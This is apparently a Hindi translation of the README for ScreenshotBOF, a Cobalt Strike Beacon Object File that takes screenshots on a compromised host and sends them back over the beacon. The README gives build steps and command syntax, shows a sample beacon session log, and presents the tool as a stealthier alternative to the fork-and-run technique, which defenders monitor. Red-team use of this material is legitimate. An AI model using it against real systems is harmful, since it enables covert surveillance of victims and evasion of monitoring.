ScreenshotBOF

Cobalt Strike के लिए एक वैकल्पिक स्क्रीनशॉट क्षमता जो WinAPI का उपयोग करती है और fork & run नहीं करती। स्क्रीनशॉट मेमोरी में डाउनलोड होता है।

विशेषताएँ

• JPEG संपीड़न
• मेमोरी में स्क्रीनशॉट या फ़ाइल के रूप में डाउनलोड
• न्यूनतम विंडो को कैप्चर करने का समर्थन करता है
• फ़ाइल आकार कम करने के लिए ग्रेस्केल, JPEG गुणवत्ता और डाउनस्केलिंग

स्वयं संकलन

1. रिपॉजिटरी को क्लोन करें
2. make चलाएँ

सेव विधियाँ:

0. फ़ाइल को डिस्क पर ड्रॉप करें
1. बीकन के माध्यम से फ़ाइल डाउनलोड करें (केवल Cobalt Strike)
2. बीकन के माध्यम से स्क्रीनशॉट के रूप में फ़ाइल डाउनलोड करें (केवल Cobalt Strike)

PID

0: पूर्ण स्क्रीन कैप्चर करें (PID = 0) विशिष्ट PID: विशिष्ट PID कैप्चर करें (न्यूनतम होने पर भी काम करता है!)

उपयोग

1. screenshotBOF.cna स्क्रिप्ट को Cobalt Strike में आयात करें
2. कमांड screenshot_bof {लोकल फ़ाइलनाम} {सेव विधि 0/1/2} {pid/0} {ग्रेस्केल 0/1} {गुणवत्ता 0-100} {स्केल 0-100} का उपयोग करें
   • बिना किसी तर्क के screenshot_bof चलाने पर एक GUI संवाद पॉप होगा

beacon> screenshot_bof file.jpg 2 21964 0 90 100
[*] Running screenshot BOF by (@codex_tf2)
[+] host called home, sent: 12421 bytes
[+] received output:
Downloading JPEG over beacon as a screenshot with filename file.jpg
[*] received screenshot of Screenshot from Admin (26kb)
[+] received output:
Screenshot saved/downloaded successfully

नोट्स

• कोई एवेज़न नहीं किया जाता, जो ठीक है क्योंकि उपयोग किए गए WinAPI दुर्भावनापूर्ण नहीं हैं

मैंने यह क्यों बनाया?

Cobalt Strike अपनी कई पोस्ट-एक्स क्षमताओं के लिए fork & run नामक तकनीक का उपयोग करता है, जिसमें स्क्रीनशॉट कमांड भी शामिल है। जबकि यह व्यवहार स्थिरता प्रदान करता है, अब यह अच्छी तरह से ज्ञात है और इसकी भारी निगरानी की जाती है। यह BOF स्क्रीनशॉट क्षमता का अधिक OPSEC सुरक्षित संस्करण प्रदान करने के लिए है।

श्रेय

• BMP को फ़ाइल में सेव करना https://stackoverflow.com/a/60667564 से
• मेमोरी में डाउनलोड https://github.com/anthemtotheego/CredBandit से
• @BinaryFaultline एग्रेसरस्क्रिप्ट में (पदावनत) BMP रेंडरिंग और स्क्रीनशॉट कॉलबैक फ़ंक्शन के लिए
• bitmap से jpeg https://github.com/WKL-Sec/HiddenDesktop से

अस्वीकरण

सामान्य अस्वीकरण यहाँ, मैं इस खराब लिखित कोड का उपयोग करके आपके द्वारा किए जाने वाले किसी भी मानवता के विरुद्ध अपराधों या परमाणु युद्ध के लिए जिम्मेदार नहीं हूँ।